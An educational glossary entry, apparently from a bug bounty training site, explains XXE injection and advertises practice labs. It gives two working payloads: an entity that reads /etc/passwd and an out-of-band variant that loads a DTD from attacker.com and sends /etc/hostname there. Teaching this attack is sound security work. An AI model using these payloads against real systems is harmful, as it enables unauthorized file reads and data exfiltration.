XXE

High

XML External Entity Injection

Definition

XML External Entity (XXE) is a vulnerability that abuses the external-entity feature of XML parsers. When an application processes input XML without disabling external entities, an attacker can read files from the server, perform SSRF or cause a denial of service.

Impact

Reading sensitive server files (/etc/passwd, configuration files)Server-Side Request Forgery (SSRF) through external entitiesDenial of service with Billion Laughs attacksOut-of-band data exfiltration (OOB-XXE)In some cases, remote code execution

Examples

XXE for file reading

An external entity is defined that references the /etc/passwd file. When the XML parser processes the document and expands the &xxe; entity, the file contents are included in the response.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

Out-of-Band XXE (OOB)

When the response does not show the entity's content, the OOB technique is used: the server loads an external DTD that exfiltrates the file's data to a server controlled by the attacker.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<data>test</data>

<!-- evil.dtd on the attacker's server -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

Practice XXE with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime